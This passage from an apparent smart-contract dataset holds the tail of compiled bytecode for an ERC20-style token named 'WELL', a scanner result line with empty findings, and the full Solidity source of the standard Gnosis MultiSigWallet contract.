fffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561122a57600080fd5b42600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561127857600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156112d057600080fd5b600360149054906101000a900460ff161561133e576001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b611349848484613092565b90509392505050565b6012600a0a6359682f000281565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114105750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561141b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114c75750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115215750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b151561152c57600080fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156115b957506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156115c457504282115b15156115cf57600080fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167fb7536ec9d2806a675644f41d1d6e8e099f1f96b02047f813ad94e6dc83f5004b836040518082815260200191505060405180910390a26001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061173c5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561174757600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f65c84ee842eafc291d1272a6e3d10f8c454c4288e63f5db3f7be2b3012f321a960405160405180910390a260019050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561184957600080fd5b61185e8260015461344c90919063ffffffff16565b600181905550600060015411151561187557600080fd5b6012600a0a6359682f00026001541115151561189057600080fd5b6118e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6119eb3382613468565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a4a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611ad55750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1515611ae057600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611bcf5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611bda57600080fd5b600360149054906101000a900460ff161515611bf557600080fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015611c8c5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611c9757600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4a31d884cd7792a793d3d6611fa014d1252766eddd6c0e694eb0a4ae3fc9c89060405160405180910390a260019050919050565b6040805190810160405280600581526020017f455243323000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1680611dde5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611e365750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611e8e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e9957600080fd5b42600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151515611ee757600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3f57600080fd5b611f49838361361b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ff757600080fd5b600360149054906101000a900460ff1615151561201357600080fd5b6001600360146101000a81548160ff0219169083151502179055507fdf3164c6542982869e04c28f5083f269f2b72ca4bff9a7e792f5c0422788bbc560405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f57454c4c0000000000000000000000000000000000000000000000000000000081525081565b600360149054906101000a900460ff1681565b60076020528060005260406000206000915090505481565b6000600360149054906101000a900460ff168061217f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806121d75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061222f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561223a57600080fd5b42600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561228857600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156122e057600080fd5b600360149054906101000a900460ff161561234e576001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b61235883836138ac565b905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360149054906101000a900460ff16806123f05750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806124485750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806124a05750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156124ab57600080fd5b42600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515156124f957600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561255157600080fd5b61255b8383613acb565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806126965750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156126a157600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612739575060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561274457600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506127f881600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c90919063ffffffff16565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff167f1a3b0b2cd04e4e6331aa907b1086657fae5f7b6ad49d9eeda2cd8e0ad3b3a412826040518082815260200191505060405180910390a26001915050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129dd57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a3a57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515612a8757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050612ab582613cc7565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612c3957600060026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560006040518082815260200191505060405180910390a35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612ee157600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a35b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f65c84ee842eafc291d1272a6e3d10f8c454c4288e63f5db3f7be2b3012f321a960405160405180910390a25050565b60086020528060005260406000206000915054906101000a900460ff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156130cf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561311c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156131a757600080fd5b6131f8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d2f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d2f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561345f57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156134b557600080fd5b613506816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d2f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061355d81600154613d2f90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561372c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c0565b61373f8382613d2f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156138e957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561393657600080fd5b613987826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d2f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a1a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000613b5c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613d2357600080fd5b613d2c81613d48565b50565b6000828211151515613d3d57fe5b818303905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613d8457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820374c1a72a7643879f9348f8a9303b1868387f394a150ec32e978bd4d230ffa600029
{"success": true, "error": null, "results": {}}
8,367
0x25c7a30f23a107ebf430fdfd582afe1245b690af
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
